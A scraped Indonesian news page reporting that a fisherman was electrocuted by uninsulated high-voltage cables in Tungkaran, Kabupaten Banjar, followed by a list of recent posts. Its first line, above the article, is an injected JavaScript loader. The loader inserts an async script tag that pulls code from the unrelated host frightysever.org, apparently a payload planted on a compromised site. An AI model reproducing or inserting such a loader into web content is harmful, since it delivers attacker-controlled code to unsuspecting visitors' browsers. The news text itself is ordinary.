(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Lagi! Pemancing Tewas Kesetrum di Martapura, Kabupaten Banjar


KANALKALIMANTAN.COM, MARTAPURA – Warga di Desa Tungkaran, Kecamatan Martapura Kota, Kabupaten Banjar, Kalsel geger. Seorang paunjunan atau pemancing ditemukan tak bernyawa tergeletak di tepi jalan di desa setempat.

Peristiwa itu terjadi Jumat (9/4/2021) sekitar pukul 09.00 Wita.

Berdasar data dari Kartu Tanda Penduduk (KTP), paunjunan yang meninggal dunia itu diketahui bernama Saliman (46) warga Sungai Sumba, Guntungpayung, Kota Banjarbaru.

Baca juga: Digitalisasi Wisata Sungai Kalimantan Selatan, Satu Ikhtiar Pulihkan Ekonomi Masyarakat

 

Paunjunan tersebut diduga kuat meninggal dunia karena tersengat aliran listrik tegangan tinggi saat memancing.

Lelaki yang mengenakan baju kaus putih dan celana jins biru itu tertelungkup di tepi jalan.

Pasalnya di lokasi tempat ditemukan ada kabel listrik tanpa bungkus di sepanjang tepi jalan itu.

Baca juga: Puluhan Remaja Terjaring Satpol PP Banjarmasin Nginap di Hotel  

Pembakal Tungkaran, Salmani, saat dihubungi membenarkan kejadian itu.

“Sejumlah warga mengabarkan saat saya berada di balai desa. Kami langsung cek dan bawa menggunakan ambulans desa rumah sakit,” jelas dia.

Berdasar hasil pemeriksaan petugas medis di RSUD Ratu Zalecha, katanya, diduga kuat korban meninggal karena tersetrum listrik tegangan tinggi.

Baca juga: Bantuan Sembako dan Kuota Internet ke Warga Terdampak Banjir

“Seingat dan sepengetahuan saya ini kejadian ketiga yang terjadi di Tungkaran. Buka kali ini saja ada pemancing meninggal karena tersetrum, tapi sudah tiga kali,” beber dia.

Atas kejadian itu, dia mengimbau kepada pemancing yang beraktivitas di kawasan itu agar tidak memancing di bawah kabel listrik.

“Kami mengimbau kepada masyarakat jangan memancing di bawah atau dekat kabel listrik. Karena kabel listriknya itu tidak dibungkus dan sangat berbahaya bila tersentuh alat pancing,” tegas dia. (kanalkalimantan.com/dhani)

Reporter: Dhani
Editor: Dhani


Al Ghifari

Recent Posts

Akhir Pekan Pasti Hemat, Berikut Promo BRI hingga 30 Persen di 8 Kota Indonesia

KANALKALIMANTAN.COM – Bagi sebagian orang, akhir pekan (weekend) merupakan waktu yang dinanti. Sembari rehat bekerja,… Read More

1 jam ago

Diskusi Santai “Komunitas Gembel Banjarmasin” Bahas Kesejahteraan Buruh

KANALKALIMANTAN.COM, BANJARMASIN - Masih dalam momentum Hari Buruh 2024, Komunitas Gemar Belajar (Gembel) Banjarmasin menggelar… Read More

10 jam ago

Penyediaan Rumah ASN dan Tenaga Kontrak, Pemkab Kapuas Gandeng Pengembang Perumahan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat Bupati Kapuas Erlin Hardi melakukan penandatanganan MoU antara PT Mahakarya… Read More

11 jam ago

Status Internasional Dicabut, Bandara Syamsudin Noor Tetap Jadi Embarkasi Haji

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Perhubungan (Kemenhub) memutuskan mencabut status Bandara Syamsudin Noor Banjarmasin di Banjarbaru… Read More

13 jam ago

Syarat Calon Non Partai Pilkada Banjarmasin Wajib Miliki 41 Ribu KTP Dukungan

KANALKALIMANTAN.COM, BANJARMASIN - Jelang Pemilihan Kepala Daerah (Pilkada) 2024, kandidat bakal calon Wali Kota dan… Read More

14 jam ago

MUI Banjar Berikan Pembekalan kepada Jemaah Calon Haji Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Jemaah Calon Haji (JCH) Kabupaten Banjar Tahun 2024 yang seluruhnya berjumlah 452… Read More

14 jam ago

This website uses cookies.